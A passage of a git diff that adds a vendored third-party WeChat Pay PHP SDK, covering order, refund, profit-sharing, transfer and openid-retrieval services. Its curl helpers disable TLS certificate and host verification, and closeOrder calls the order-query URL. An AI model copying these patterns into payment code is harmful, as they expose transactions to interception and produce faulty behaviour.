引入配置文件,构造请求参数,调用PaymentService中的方法发起请求,APIv2参考 [`examples/qrpay.php`](./examples/qrpay.php),APIv3参考 [`examples/V3/qrpay.php`](./examples/V3/qrpay.php) + +4. 更多实例,请移步 [`examples`](examples/) 目录。 + +5. 类功能说明 + + | 类名 | 说明 | + | --------------------- | ------------------------------------------------- | + | PaymentService | 基础支付服务类,所有支付功能都用这个 | + | JsApiTool | JSAPI支付工具类,用于公众号、小程序登录获取Openid | + | TransferService | 微信支付商家转账功能 | + | ProfitsharingService | 微信支付分账功能 | + | ComplainService | 消费者投诉处理功能 | + | PartnerPaymentService | 服务商基础支付服务类,APIv3服务商调用支付功能使用 | + +6. 要对接的API在以上实现类中没有,可根据微信支付官方的文档,使用BaseService类中的execute方法直接调用接口,参考 [`examples/V3/other.php`](./examples/V3/other.php) + + + diff --git a/includes/vendor/cccyun/wechatpay-sdk/composer.json b/includes/vendor/cccyun/wechatpay-sdk/composer.json new file mode 100644 index 0000000..afb6007 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/composer.json @@ -0,0 +1,27 @@ +{ + "name": "cccyun/wechatpay-sdk", + "description": "微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。", + "type": "library", + "keywords": [ + "wxpay", + "wechat", + "微信支付" + ], + "license": "MIT", + "minimum-stability": "dev", + "prefer-stable": true, + "require": { + "php": ">=7.1" + }, + "authors": [ + { + "name": "caihong", + "email": "admin@cccyun.cn" + } + ], + "autoload": { + "psr-4": { + "WeChatPay\\": "src/" + } + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/BaseService.php b/includes/vendor/cccyun/wechatpay-sdk/src/BaseService.php new file mode 100644 index 0000000..58b26fb --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/BaseService.php @@ -0,0 +1,225 @@ +appId = $config['appid']; + $this->mchId = $config['mchid']; + $this->apiKey = $config['apikey']; + $this->sslCertPath = $config['sslcert_path']; + $this->sslKeyPath = $config['sslkey_path']; + if (isset($config['sub_mchid'])) { + $this->subMchId = $config['sub_mchid']; + } + if (isset($config['sub_appid'])) { + $this->subAppId = $config['sub_appid']; + } + } + + + /** + * 请求接口并解析返回数据 + * @param string $url url + * @param array $params 请求参数 + * @param bool $cert 是否需要证书 + * @return mixed + * @throws Exception + */ + public function execute(string $url, array $params, bool $cert = false) + { + $params = array_merge($this->publicParams, $params); + $params['sign'] = $this->makeSign($params); + $xml = $this->array2Xml($params); + $response = $this->curl($url, $xml, $cert); + $result = $this->xml2array($response); + if (isset($result['return_code']) && $result['return_code'] == 'SUCCESS') { + if (isset($result['result_code']) && $result['result_code'] == 'SUCCESS') { + if (isset($result['sign']) && !$this->checkSign($result)) { + throw new Exception('返回数据验签失败'); + } + return $result; + } + } + throw new WeChatPayException($result); + } + + /** + * 验签 + * @param $data + * @return bool + */ + protected function checkSign($data): bool + { + if (!isset($data['sign'])) return false; + + $sign = $this->makeSign($data); + + return $sign === $data['sign']; + } + + /** + * 生成签名 + * @param $data + * @return string + */ + protected function makeSign($data): string + { + ksort($data); + $signStr = ''; + foreach ($data as $k => $v) { + if($k != 'sign' && !is_array($v) && !$this->isEmpty($v)){ + $signStr .= $k . '=' . $v . '&'; + } + } + $signStr = trim($signStr, '&') . '&key=' . $this->apiKey; + if (isset($data['sign_type']) && $data['sign_type'] == 'HMAC-SHA256') { + $sign = hash_hmac("sha256", $signStr, $this->apiKey); + } else { + $sign = md5($signStr); + } + return strtoupper($sign); + } + + /** + * 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符. + * + * @param string|null $value + * + * @return bool + */ + protected function isEmpty(?string $value): bool + { + return $value === null || $value === ''; + } + + /** + * 产生随机字符串,不长于32位 + * @param int $length + * @return string 产生的随机字符串 + */ + protected function getNonceStr(int $length = 32): string + { + $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + $str = ""; + for ($i = 0; $i < $length; $i++) { + $str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + } + return $str; + } + + /** + * 转为XML数据 + * @param array $data 源数据 + * @return string + */ + protected function array2Xml(array $data): string + { + $xml = ''; + foreach ($data as $key => $val) { + $xml .= (is_numeric($val) ? "<{$key}>{$val}" : "<{$key}>"); + } + return $xml . ''; + } + + /** + * 解析XML数据 + * @param string $xml 源数据 + * @return mixed + */ + protected function xml2array(string $xml) + { + if (!$xml) { + return false; + } + LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true); + return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true); + } + + /** + * 以post方式提交xml到对应的接口url + * @param string $url url + * @param mixed $xml 需要post的xml数据 + * @param bool $useCert 是否需要证书 + * @param int $second url执行超时时间 + * @return string + * @throws Exception + */ + protected function curl(string $url, $xml, bool $useCert = false, int $second = 10): string + { + $ch = curl_init(); + $curlVersion = curl_version(); + $ua = "WXPaySDK/" . self::$VERSION . " (" . PHP_OS . ") PHP/" . PHP_VERSION . " CURL/" . $curlVersion['version'] . " ". $this->mchId; + + curl_setopt($ch, CURLOPT_TIMEOUT, $second); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_USERAGENT, $ua); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + if ($useCert) { + if (!file_exists($this->sslCertPath) || !file_exists($this->sslKeyPath)) { + throw new Exception('商户证书文件不存在'); + } + //使用证书:cert 与 key 分别属于两个.pem文件 + curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM'); + curl_setopt($ch, CURLOPT_SSLCERT, $this->sslCertPath); + curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM'); + curl_setopt($ch, CURLOPT_SSLKEY, $this->sslKeyPath); + } + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new Exception($errmsg, 0); + } + curl_close($ch); + return $data; + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/JsApiTool.php b/includes/vendor/cccyun/wechatpay-sdk/src/JsApiTool.php new file mode 100644 index 0000000..c21a1ef --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/JsApiTool.php @@ -0,0 +1,155 @@ +appid = $appid; + $this->appsecret = $appsecret; + } + + /** + * 通过跳转获取用户的openid,跳转流程如下: + * 1、设置自己需要调回的url及其其他参数,跳转到微信服务器 + * 2、微信服务处理完成之后会跳转回用户redirect_uri地址,此时会带上一些参数,如:code + * + * @return string 用户的openid + * @throws Exception + */ + public function GetOpenid(): string + { + if (!isset($_GET['code'])) { + $this->login(); + } + $code = $_GET['code']; + return $this->GetOpenidFromMp($code); + } + + /** + * 跳转到微信公众平台登录 + */ + public function login() + { + if (function_exists('is_https')) { + $redirect_uri = (is_https() ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; + } else { + $redirect_uri = ($_SERVER['SERVER_PORT'] == 443 ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; + } + $param = [ + "appid" => $this->appid, + "redirect_uri" => $redirect_uri, + "response_type" => "code", + "scope" => "snsapi_base", + "state" => "STATE" + ]; + $url = self::GET_AUTH_CODE_URL . '?' . http_build_query($param) . "#wechat_redirect"; + Header("Location: $url"); + exit; + } + + /** + * 从公众平台获取openid + * @param string $code 微信跳转回来带上的code + * + * @return string openid + * @throws Exception + */ + public function GetOpenidFromMp(string $code): string + { + $param = [ + "appid" => $this->appid, + "secret" => $this->appsecret, + "code" => $code, + "grant_type" => "authorization_code" + ]; + $url = self::GET_ACCESS_TOKEN_URL . '?' . http_build_query($param); + $res = $this->curl($url); + $data = json_decode($res, true); + if (isset($data['access_token']) && isset($data['openid'])) { + $this->data = $data; + return $data['openid']; + } elseif (isset($data['errcode'])) { + throw new Exception('Openid获取失败 [' . $data['errcode'] . ']' . $data['errmsg']); + } else { + throw new Exception('Openid获取失败,原因未知'); + } + } + + /** + * 微信小程序获取Openid + * @param string $code 登录时获取的code + * + * @return string openid + * @throws Exception + */ + public function AppGetOpenid(string $code): string + { + $param = [ + "appid" => $this->appid, + "secret" => $this->appsecret, + "js_code" => $code, + "grant_type" => "authorization_code" + ]; + $url = self::GET_MINIAPP_TOKEN_URL . '?' . http_build_query($param); + $res = $this->curl($url); + $data = json_decode($res, true); + if (isset($data['session_key']) && isset($data['openid'])) { + $this->data = $data; + return $data['openid']; + } elseif (isset($data['errcode'])) { + throw new Exception('获取openid失败 [' . $data['errcode'] . ']' . $data['errmsg']); + } else { + throw new Exception('获取openid失败,原因未知'); + } + } + + /** + * 发起GET请求 + * @param string $url 请求url + * @return string + */ + private function curl(string $url): string + { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_TIMEOUT, 6); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0"); + $res = curl_exec($ch); + curl_close($ch); + return $res; + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/PaymentService.php b/includes/vendor/cccyun/wechatpay-sdk/src/PaymentService.php new file mode 100644 index 0000000..8815518 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/PaymentService.php @@ -0,0 +1,386 @@ +publicParams = [ + 'appid' => $this->appId, + 'mch_id' => $this->mchId, + 'nonce_str' => $this->getNonceStr(), + 'sign_type' => 'MD5', + ]; + if (!empty($this->subMchId)) { + $this->publicParams['sub_mch_id'] = $this->subMchId; + } + if (!empty($this->subAppId)) { + $this->publicParams['sub_appid'] = $this->subAppId; + } + } + + /** + * 统一下单 + * @param array $params 下单参数 + * @return mixed + * @throws Exception + */ + public function unifiedOrder(array $params) + { + $url = 'https://api.mch.weixin.qq.com/pay/unifiedorder'; + if (empty($params['out_trade_no'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数out_trade_no'); + } + if (empty($params['body'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数body'); + } + if (empty($params['total_fee'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数total_fee'); + } + if (empty($params['trade_type'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数trade_type'); + } + return $this->execute($url, $params); + } + + /** + * NATIVE支付 + * @param array $params 下单参数 + * @return mixed {"code_url":"二维码链接"} + * @throws Exception + */ + public function nativePay(array $params) + { + if (empty($params['product_id'])) { + throw new \InvalidArgumentException('缺少NATIVE支付必填参数product_id'); + } + $params['trade_type'] = 'NATIVE'; + return $this->unifiedOrder($params); + } + + /** + * JSAPI支付 + * @param array $params 下单参数 + * @return array Jsapi支付json数据 + * @throws Exception + */ + public function jsapiPay(array $params) + { + if (empty($params['openid'])) { + throw new \InvalidArgumentException('缺少JSAPI支付必填参数openid'); + } + $params['trade_type'] = 'JSAPI'; + $result = $this->unifiedOrder($params); + return $this->getJsApiParameters($result['prepay_id']); + } + + /** + * 获取JSAPI支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array json数据 + */ + private function getJsApiParameters(string $prepay_id): array + { + $params = [ + 'appId' => $this->appId, + 'timeStamp' => time() . '', + 'nonceStr' => $this->getNonceStr(), + 'package' => 'prepay_id=' . $prepay_id, + 'signType' => 'MD5', + ]; + $params['paySign'] = $this->makeSign($params); + return $params; + } + + /** + * APP支付 + * @param array $params 下单参数 + * @return array APP支付json数据 + * @throws Exception + */ + public function appPay(array $params): array + { + $params['trade_type'] = 'APP'; + $result = $this->unifiedOrder($params); + return $this->getAppParameters($result['prepay_id']); + } + + /** + * 获取APP支付的参数 + * @param string $prepay_id 预支付交易会话标识 + * @return array + */ + private function getAppParameters(string $prepay_id): array + { + $params = [ + 'appid' => $this->appId, + 'partnerid' => $this->mchId, + 'prepayid' => $prepay_id, + 'package' => 'Sign=WXPay', + 'noncestr' => $this->getNonceStr(), + 'timestamp' => time().'', + ]; + $params['sign'] = $this->makeSign($params); + return $params; + } + + /** + * H5支付 + * @param array $params 下单参数 + * @return mixed {"mweb_url":"支付跳转链接"} + * @throws Exception + */ + public function h5Pay(array $params) + { + $params['trade_type'] = 'MWEB'; + return $this->unifiedOrder($params); + } + + /** + * 付款码支付 + * @param array $params 下单参数 + * @return mixed {"openid":"用户标识","is_subscribe":"N","total_fee":888,"cash_fee":888,"transaction_id":"微信支付订单号","out_trade_no":"商户订单号","time_end":"支付完成时间"} + * @throws Exception + */ + public function microPay(array $params) + { + $url = 'https://api.mch.weixin.qq.com/pay/micropay'; + if (empty($params['out_trade_no'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数out_trade_no'); + } + if (empty($params['body'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数body'); + } + if (empty($params['total_fee'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数total_fee'); + } + if (empty($params['auth_code'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数auth_code'); + } + return $this->execute($url, $params); + } + + /** + * 撤销订单 + * @param string|null $transaction_id 微信订单号 + * @param string|null $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function reverse(string $transaction_id = null, string $out_trade_no = null) + { + $url = 'https://api.mch.weixin.qq.com/secapi/pay/reverse'; + $params = []; + if ($transaction_id) { + $params['transaction_id'] = $transaction_id; + } elseif ($out_trade_no) { + $params['out_trade_no'] = $out_trade_no; + } + return $this->execute($url, $params, true); + } + + /** + * 查询订单,微信订单号、商户订单号至少填一个 + * @param string|null $transaction_id 微信订单号 + * @param string|null $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function orderQuery(string $transaction_id = null, string $out_trade_no = null) + { + $url = 'https://api.mch.weixin.qq.com/pay/orderquery'; + $params = []; + if ($transaction_id) { + $params['transaction_id'] = $transaction_id; + } elseif ($out_trade_no) { + $params['out_trade_no'] = $out_trade_no; + } + return $this->execute($url, $params); + } + + /** + * 判断订单是否已完成 + * @param string $transaction_id 微信订单号 + * @return bool + */ + public function orderQueryResult(string $transaction_id): bool + { + try { + $data = $this->orderQuery($transaction_id); + return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND'; + } catch (Exception $e) { + return false; + } + } + + /** + * 关闭订单 + * @param string $out_trade_no 商户订单号 + * @return mixed + * @throws Exception + */ + public function closeOrder(string $out_trade_no) + { + $url = 'https://api.mch.weixin.qq.com/pay/orderquery'; + $params = [ + 'out_trade_no' => $out_trade_no + ]; + return $this->execute($url, $params); + } + + /** + * 申请退款 + * @param array $params + * @return mixed + * @throws Exception + */ + public function refund(array $params) + { + $url = 'https://api.mch.weixin.qq.com/secapi/pay/refund'; + if (empty($params['transaction_id']) && empty($params['out_trade_no'])) { + throw new \InvalidArgumentException('out_trade_no、transaction_id至少填一个'); + } + if (empty($params['out_refund_no'])) { + throw new \InvalidArgumentException('out_refund_no参数不能为空'); + } + if (empty($params['total_fee'])) { + throw new \InvalidArgumentException('total_fee参数不能为空'); + } + if (empty($params['refund_fee'])) { + throw new \InvalidArgumentException('refund_fee参数不能为空'); + } + return $this->execute($url, $params, true); + } + + /** + * 查询退款 + * @param array $params + * @return mixed + * @throws Exception + */ + public function refundQuery(array $params) + { + $url = 'https://api.mch.weixin.qq.com/pay/refundquery'; + if (empty($params['transaction_id']) && empty($params['out_trade_no']) && empty($params['out_refund_no']) && empty($params['refund_id'])) { + throw new \InvalidArgumentException('退款查询接口中,out_refund_no、out_trade_no、transaction_id、refund_id四个参数必填一个'); + } + return $this->execute($url, $params); + } + + /** + * 下载对账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function downloadBill(array $params) + { + $url = 'https://api.mch.weixin.qq.com/pay/downloadbill'; + if (empty($params['bill_date'])) { + throw new \InvalidArgumentException('bill_date参数不能为空'); + } + return $this->execute($url, $params); + } + + /** + * 下载资金账单 + * @param array $params + * @return mixed + * @throws Exception + */ + public function downloadFundFlow(array $params) + { + $url = 'https://api.mch.weixin.qq.com/pay/downloadfundflow'; + if (empty($params['bill_date'])) { + throw new \InvalidArgumentException('bill_date参数不能为空'); + } + if (empty($params['account_type'])) { + throw new \InvalidArgumentException('account_type参数不能为空'); + } + return $this->execute($url, $params); + } + + /** + * 支付结果通知 + * @return bool|mixed + * @throws Exception + */ + public function notify() + { + $xml = file_get_contents("php://input"); + if (empty($xml)) { + throw new Exception('NO_DATA'); + } + $result = $this->xml2array($xml); + if (!$result) { + throw new Exception('XML_ERROR'); + } + if ($result['return_code'] != 'SUCCESS') { + throw new Exception($result['return_msg']); + } + if (!$this->checkSign($result)) { + throw new Exception('签名校验失败'); + } + if (!isset($result['transaction_id'])) { + throw new Exception('缺少订单号参数'); + } + if (!$this->orderQueryResult($result['transaction_id'])) { + throw new Exception('订单未完成'); + } + return $result; + } + + /** + * 退款结果通知 + * @param array &$errmsg 错误信息 + * @return bool|string + */ + public function refundNotify(array &$errmsg): bool + { + $xml = file_get_contents("php://input"); + if (empty($xml)) { + $errmsg = 'NO_DATA'; + return false; + } + $result = $this->xml2array($xml); + if (!$result) { + $errmsg = 'XML_ERROR'; + return false; + } + if ($result['return_code'] != 'SUCCESS') { + $errmsg = $result['return_msg']; + return false; + } + $req_info = base64_decode($result['req_info']); + $md5_key = md5($this->apiKey); + return openssl_decrypt($req_info, 'aes-256-ecb', $md5_key); + } + + /** + * 回复通知 + * @param bool $isSuccess 是否成功 + * @param string|null $msg 失败原因 + */ + public function replyNotify(bool $isSuccess = true, ?string $msg = '') + { + $data = []; + if ($isSuccess) { + $data['return_code'] = 'SUCCESS'; + $data['return_msg'] = 'OK'; + } else { + $data['return_code'] = 'FAIL'; + $data['return_msg'] = $msg; + } + $xml = $this->array2Xml($data); + echo $xml; + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/ProfitsharingService.php b/includes/vendor/cccyun/wechatpay-sdk/src/ProfitsharingService.php new file mode 100644 index 0000000..a5540d4 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/ProfitsharingService.php @@ -0,0 +1,185 @@ +publicParams = [ + 'appid' => $this->appId, + 'mch_id' => $this->mchId, + 'nonce_str' => $this->getNonceStr(), + 'sign_type' => 'HMAC-SHA256', + ]; + if (!empty($this->subMchId)) { + $this->publicParams['sub_mch_id'] = $this->subMchId; + } + if (!empty($this->subAppId)) { + $this->publicParams['sub_appid'] = $this->subAppId; + } + } + + /** + * 添加分账接收方 + * @param string $account 分账接收方账号 + * @param string|null $name 用户姓名(填写后校验) + * @return mixed + * @throws Exception + */ + public function addReceiver(string $account, string $name = null) + { + $url = 'https://api.mch.weixin.qq.com/pay/profitsharingaddreceiver'; + $receiver = [ + 'type' => 'PERSONAL_OPENID', + 'account' => $account, + 'relation_type' => 'SERVICE_PROVIDER' + ]; + if(!empty($name)) $receiver['name'] = $name; + $params = [ + 'receiver' => json_encode($receiver, JSON_UNESCAPED_UNICODE) + ]; + return $this->execute($url, $params); + } + + /** + * 删除分账接收方 + * @param string $account 分账接收方账号 + * @return mixed + * @throws Exception + */ + public function deleteReceiver(string $account) + { + $url = 'https://api.mch.weixin.qq.com/pay/profitsharingremovereceiver'; + $receiver = [ + 'type' => 'PERSONAL_OPENID', + 'account' => $account + ]; + $params = [ + 'receiver' => json_encode($receiver, JSON_UNESCAPED_UNICODE) + ]; + return $this->execute($url, $params); + } + + /** + * 请求单次分账 + * @param string $out_order_no 商户分账单号 + * @param string $transaction_id 微信订单号 + * @param string $openid 分账接收方账号 + * @param string $name 用户姓名(填写后校验) + * @param int $amount 分账金额(分) + * @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""} + * @throws Exception + */ + public function submit(string $out_order_no, string $transaction_id, string $openid, string $name, int $amount) + { + $url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharing'; + $receiver = [ + 'type' => 'PERSONAL_OPENID', + 'account' => $openid, + 'amount' => $amount, + 'description' => '订单分账' + ]; + if(!empty($name)) $receiver['name'] = $name; + $params = [ + 'out_order_no' => $out_order_no, + 'transaction_id' => $transaction_id, + 'receivers' => json_encode([$receiver], JSON_UNESCAPED_UNICODE) + ]; + return $this->execute($url, $params, true); + } + + /** + * 查询分账结果 + * @param string $out_order_no 商户分账单号 + * @param string $transaction_id 微信订单号 + * @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""} + * @throws Exception + */ + public function query(string $out_order_no, string $transaction_id) + { + $url = 'https://api.mch.weixin.qq.com/pay/profitsharingquery'; + $params = [ + 'out_order_no' => $out_order_no, + 'transaction_id' => $transaction_id + ]; + return $this->execute($url, $params); + } + + /** + * 解冻剩余资金 + * @param string $out_order_no 商户分账单号 + * @param string $transaction_id 微信订单号 + * @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号"} + * @throws Exception + */ + public function unfreeze(string $out_order_no, string $transaction_id) + { + $url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharingfinish'; + $params = [ + 'out_order_no' => $out_order_no, + 'transaction_id' => $transaction_id, + 'description' => '分账已完成' + ]; + return $this->execute($url, $params, true); + } + + /** + * 查询订单待分账金额 + * @param string $transaction_id 微信订单号 + * @return mixed {"transaction_id":"微信订单号","unsplit_amount":"订单剩余待分金额"} + * @throws Exception + */ + public function orderAmountQuery(string $transaction_id) + { + $url = 'https://api.mch.weixin.qq.com/pay/profitsharingorderamountquery'; + $params = [ + 'transaction_id' => $transaction_id, + ]; + return $this->execute($url, $params); + } + + /** + * 分账回退 + * @param array $params 请求参数 + * @return mixed + * @throws Exception + */ + public function return(array $params) + { + $url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharingreturn'; + if (empty($params['order_id']) && empty($params['out_order_no'])) { + throw new \InvalidArgumentException('order_id、out_order_no至少填一个'); + } + if (empty($params['out_return_no'])) { + throw new \InvalidArgumentException('out_return_no参数不能为空'); + } + return $this->execute($url, $params, true); + } + + /** + * 分账回退结果查询 + * @param string $out_return_no + * @param string $out_order_no + * @return mixed + * @throws Exception + */ + public function returnQuery(string $out_return_no, string $out_order_no) + { + $url = 'https://api.mch.weixin.qq.com/pay/profitsharingreturnquery'; + $params = [ + 'out_order_no' => $out_order_no, + 'out_return_no' => $out_return_no + ]; + return $this->execute($url, $params); + } + +} \ No newline at end of file diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/RsaTool.php b/includes/vendor/cccyun/wechatpay-sdk/src/RsaTool.php new file mode 100644 index 0000000..f375b24 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/RsaTool.php @@ -0,0 +1,75 @@ +publicKeyPath = $config['publickey_path']; + $this->publicParams = [ + 'nonce_str' => $this->getNonceStr(), + ]; + } + + /** + * 企业付款到零钱 + * @param string $partner_trade_no 商户唯一订单号 + * @param string $openid 用户openid + * @param string $name 用户姓名(填写后校验) + * @param numeric $amount 金额 + * @param string $desc 备注 + * @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","payment_time":"付款成功时间"} + * @throws Exception + */ + public function transfer(string $partner_trade_no, string $openid, string $name, $amount, string $desc) + { + $url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/promotion/transfers'; + $params = [ + 'mch_appid' => $this->appId, + 'mchid' => $this->mchId, + 'partner_trade_no' => $partner_trade_no, + 'openid' => $openid, + 'amount' => $amount, + 'desc' => $desc + ]; + if (!empty($name)) { + $params['check_name'] = 'FORCE_CHECK'; + $params['re_user_name'] = $name; + } + return $this->execute($url, $params, true); + } + + /** + * 查询付款 + * @param string $partner_trade_no 商户唯一订单号 + * @return mixed {"partner_trade_no":"商户唯一订单号","detail_id":"微信付款单号","status":"转账状态","reason":"失败原因","openid":"用户openid","transfer_name":"用户姓名","payment_amount":"付款金额","transfer_time":"转账时间","payment_time":"付款成功时间","desc":"付款备注"} + * @throws Exception + */ + public function transferQuery(string $partner_trade_no) + { + $url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/gettransferinfo'; + $params = [ + 'mch_appid' => $this->appId, + 'mchid' => $this->mchId, + 'partner_trade_no' => $partner_trade_no + ]; + return $this->execute($url, $params); + } + + /** + * 企业付款到银行卡 + * @param string $partner_trade_no 商户唯一订单号 + * @param string $bank_no 收款方银行卡号 + * @param string $name 收款方用户名 + * @param string $bank_code 收款方开户行(https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay_yhk.php?chapter=24_4) + * @param numeric $amount 金额 + * @param string $desc 备注 + * @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","cmms_amt":"手续费金额"} + * @throws Exception + */ + public function transferToBank(string $partner_trade_no, string $bank_no, string $name, string $bank_code, $amount, string $desc) + { + $pubKey = null; + if (empty($this->publicKeyPath)) { + throw new Exception('RSA加密公钥路径不能为空'); + } + if (file_exists($this->publicKeyPath)) { + $pubKey = file_get_contents($this->publicKeyPath); + } + if (!$pubKey) { + $pubKey = $this->getPublicKey(); + if (!file_put_contents($this->publicKeyPath, $pubKey)) { + throw new Exception('RSA加密公钥文件写入失败'); + } + } + $pubkeyid = openssl_pkey_get_public($pubKey); + if (!$pubkeyid) { + throw new Exception('RSA加密公钥不正确'); + } + + $url = 'https://api.mch.weixin.qq.com/mmpaysptrans/pay_bank'; + $params = [ + 'mch_id' => $this->mchId, + 'partner_trade_no' => $partner_trade_no, + 'enc_bank_no' => $this->encryptData($bank_no, $pubkeyid), + 'enc_true_name' => $this->encryptData($name, $pubkeyid), + 'bank_code' => $bank_code, + 'amount' => $amount, + 'desc' => $desc + ]; + return $this->execute($url, $params, true); + } + + /** + * 查询付款银行卡 + * @param string $partner_trade_no 商户唯一订单号 + * @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","bank_no_md5":"收款用户银行卡号(MD5加密)","true_name_md5":"收款人真实姓名(MD5加密)","amount":"金额","cmms_amt":"手续费金额","status":"转账状态","create_time":"商户下单时间","pay_succ_time":"成功付款时间","reason":"失败原因"} + * @throws Exception + */ + public function queryBank(string $partner_trade_no) + { + $url = 'https://api.mch.weixin.qq.com/mmpaysptrans/query_bank'; + $params = [ + 'mch_id' => $this->mchId, + 'partner_trade_no' => $partner_trade_no + ]; + return $this->execute($url, $params); + } + + /** + * 获取RSA加密公钥 + * @throws Exception + */ + public function getPublicKey() + { + $url = 'https://fraud.mch.weixin.qq.com/risk/getpublickey'; + $params = [ + 'mch_id' => $this->mchId, + ]; + $result = $this->execute($url, $params, true); + $pub_key = $result['pub_key']; + $pub_key = RsaTool::pkcs1ToSpkiPem($pub_key); + return $pub_key; + } + + /** + * RSA加密 + * @param string $data + * @param $pubKey + * @return string + * @throws Exception + */ + private function encryptData(string $data, $pubkeyid): string + { + openssl_public_encrypt($data, $encrypted, $pubkeyid, OPENSSL_PKCS1_OAEP_PADDING); + return base64_encode($encrypted); + } +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/src/V3/BaseService.php b/includes/vendor/cccyun/wechatpay-sdk/src/V3/BaseService.php new file mode 100644 index 0000000..a45dfe7 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/src/V3/BaseService.php @@ -0,0 +1,525 @@ +appId = $config['appid']; + $this->mchId = $config['mchid']; + $this->apiKey = $config['apikey']; + $this->merchantPrivateKeyFilePath = $config['merchantPrivateKeyFilePath']; + $this->merchantCertificateSerial = $config['merchantCertificateSerial']; + $this->platformCertificateFilePath = $config['platformCertificateFilePath']; + $this->platformCertificateSerial = $config['platformCertificateSerial']; + if (isset($config['sub_mchid'])) { + $this->subMchId = $config['sub_mchid']; + } + if (isset($config['sub_appid'])) { + $this->subAppId = $config['sub_appid']; + } + if (isset($config['ecommerce'])) { + $this->ecommerce = $config['ecommerce']; + } + if (isset($config['isGlobal'])) { + $this->isGlobal = $config['isGlobal']; + } + + $this->initCertificate(); + } + + /** + * 初始化证书与私钥 + * @throws Exception + */ + private function initCertificate() + { + //读取商户API私钥 + $this->merchantPrivateKeyInstance = openssl_pkey_get_private(file_get_contents($this->merchantPrivateKeyFilePath)); + if (!$this->merchantPrivateKeyInstance) { + throw new Exception("商户API私钥错误"); + } + //读取微信支付平台证书或公钥 + if (file_exists($this->platformCertificateFilePath)) { + $certificate = file_get_contents($this->platformCertificateFilePath); + $this->platformPublicKeyInstance = openssl_pkey_get_public($certificate); + if($this->platformPublicKeyInstance && empty($this->platformCertificateSerial)) { + $cert_info = openssl_x509_parse($certificate); + if ($cert_info && isset($cert_info['serialNumberHex'])) { + $this->platformCertificateSerial = $cert_info['serialNumberHex']; + } + } + } + //没有微信支付平台证书,则下载证书 + if (!$this->platformPublicKeyInstance) { + $this->downloadCertificate(); + } + } + + /** + * 下载微信支付平台证书 + * @throws Exception + */ + private function downloadCertificate() + { + $result = $this->execute('GET', $this->isGlobal ? '/v3/global/certificates' : '/v3/certificates'); + $effective_time = 0; + foreach ($result['data'] as $item) { + if (strtotime($item['effective_time']) > $effective_time) { + $effective_time = strtotime($item['effective_time']); + $encert = $item['encrypt_certificate']; + } + } + + $certificate = 